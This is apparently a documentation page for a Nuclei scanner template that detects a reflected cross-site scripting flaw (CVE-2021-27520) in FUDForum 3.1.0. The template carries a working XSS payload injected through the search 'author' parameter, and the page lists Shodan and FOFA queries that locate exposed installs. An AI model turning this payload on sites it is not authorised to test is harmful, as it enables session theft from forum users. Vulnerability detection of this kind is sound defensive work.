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FUDForum 3.1.0 - Cross-Site Scripting

ID: CVE-2021-27520

Severity: medium

Author: r3Y3r53

Tags: cve2021,cve,packetstorm,xss,fuddorum,edb,intrusive,fudforum

Description

Section titled “Description”

FUDForum 3.1.0 contains a cross-site scripting vulnerability. An attacker can inject JavaScript via index.php in the author parameter, thereby possibly stealing cookie-based authentication credentials and launching other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2021-27520


info:
  name: FUDForum 3.1.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    FUDForum 3.1.0 contains a cross-site scripting vulnerability. An attacker can inject JavaScript via index.php in the author parameter, thereby possibly stealing cookie-based authentication credentials and launching other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version of FUDForum or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49943
    - https://github.com/fudforum/FUDforum/issues/2
    - http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27520
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27520
    cwe-id: CWE-79
    epss-score: 0.00217
    epss-percentile: 0.59671
    cpe: cpe:2.3:a:fudforum:fudforum:3.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: fudforum
    product: fudforum
    shodan-query:
      - html:"FUDforum"
      - http.html:"fudforum"
      - 'http.html:"powered by: fudforum"'
    fofa-query:
      - 'body="powered by: fudforum"'
      - body="fudforum"
  tags: cve2021,cve,packetstorm,xss,fuddorum,edb,intrusive,fudforum


http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D'
      - '{{BaseURL}}/forum/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D%22'


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - onmouseover=alert(document.domain) x=
          - FUDforum
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b86b9e45d9a79a6b57251e2ad3edad293ff8043722acbd4c614088612cbdb8f702210084cec4523a2e1fe56e797d470154ac657f400a9577752464e8c3f0274b08fb9e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-27520.yaml"

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